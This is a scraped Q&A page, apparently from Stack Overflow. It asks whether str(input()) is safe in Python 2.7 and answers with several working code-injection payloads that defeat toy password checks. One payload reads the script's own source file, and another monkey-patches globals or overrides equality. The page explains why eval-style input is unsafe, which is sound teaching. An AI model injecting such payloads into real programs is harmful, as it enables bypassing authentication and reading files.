Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Is input() safe to use if you cast it as a string?

I've been experimenting with python 2.7's input() function and trying to find ways to exploit it. I know that by itself it's vulnerable to exploitation because you can input python expressions, which will then be evaluated. My question is, if you cast it as a string, ie:

str(input())

is it still vulnerable to these exploits? Does this make it completely safe?

As an example, given the following program, is there any way to exploit input() and make it output "RIGHT password"?

import random
inp = str(input("Enter the password: "))
password = random.randint(0, 100)
if inp == password:
    print "RIGHT password" 
else:
    print "WRONG password"
like image 845
T. Owens Avatar asked Dec 03 '22 22:12

T. Owens


1 Answers

is there any way to exploit input() and make it output "RIGHT password"?

Yep:

C:\Users\Kevin\Desktop>py -2 test.py
Enter the password: __import__('sys').stdout.write('RIGHT password') or exit(0)
RIGHT password
C:\Users\Kevin\Desktop>

"But that doesn't count because you're printing your own output and terminating early", you protest hypothetically. "Show me an example where the conditional actually executes".

C:\Users\Kevin\Desktop>py -2 test.py
Enter the password: (1, globals().update({"random": type("", (object,), {"__init__": lambda self: setattr(self, "randint", lambda x,y: "1")})()}))[0]
RIGHT password

C:\Users\Kevin\Desktop>

"Ok, well, in a real application I wouldn't be using random.randint to determine the password. Show me an example where the conditional inp == "hunter2": passes"

import random
inp = str(input("Enter the password: "))
if inp == "hunter2":
    print "RIGHT password" 
else:
    print "WRONG password"

 

C:\Users\Kevin\Desktop>py -2 test.py
Enter the password: __import__("re").search(r"if inp == \"(.*?)\"", open(__file__).read()).group(1)
RIGHT password

"That doesn't count because you read the file. Show me an example where you don't extract the password from the source code"

C:\Users\Kevin\Desktop>py -2 test.py
Enter the password: type("", (str,), {"__str__": lambda self: self, "__eq__": lambda self, other: True})()
RIGHT password

C:\Users\Kevin\Desktop>
like image 96
Kevin Avatar answered Dec 11 '22 17:12

Kevin